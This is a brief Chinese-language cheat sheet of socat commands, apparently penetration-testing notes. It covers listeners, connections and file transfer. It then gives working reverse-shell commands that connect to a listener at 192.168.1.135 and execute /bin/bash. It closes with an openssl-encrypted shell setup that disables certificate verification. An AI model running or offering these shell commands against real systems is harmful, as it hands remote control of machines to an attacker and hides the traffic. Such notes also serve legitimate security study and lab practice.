建立监听器
socat -d -d tcp4-listen:port stdout --> nc -lvvp
建立连接
socat - tcp4:ip:port --> nc ip port
文件传输
接收:
socat tcp4:ip:port file:filename,create
传输:
socat tcp4-listen:4444,fork file:filename
fork创建子进程,可以建立多个连接
可以双向传输
反弹shell
反向:
socat -d -d tcp4-listen:4444 stdout 建立监听
socat tcp4:192.168.1.135:4444 exec:/bin/bash 反弹shell
正向:
加密传输
生成公钥和私钥
openssl req -newkey rsa:2048 -nodes -keyout bind.key
-x509 -days 365
-out bind.crt
把公钥和私钥转化为socat传输的格式
cat bind.key bind.crt > bind.pem
建立监听,并反弹shell
socat openssl-listen:port,verify=0,cert=xxx.pem,fork exec:/bin/bash
建立连接
socat - openssl:ip:port,verify=0
!!!:verify=0 --> 禁用ssl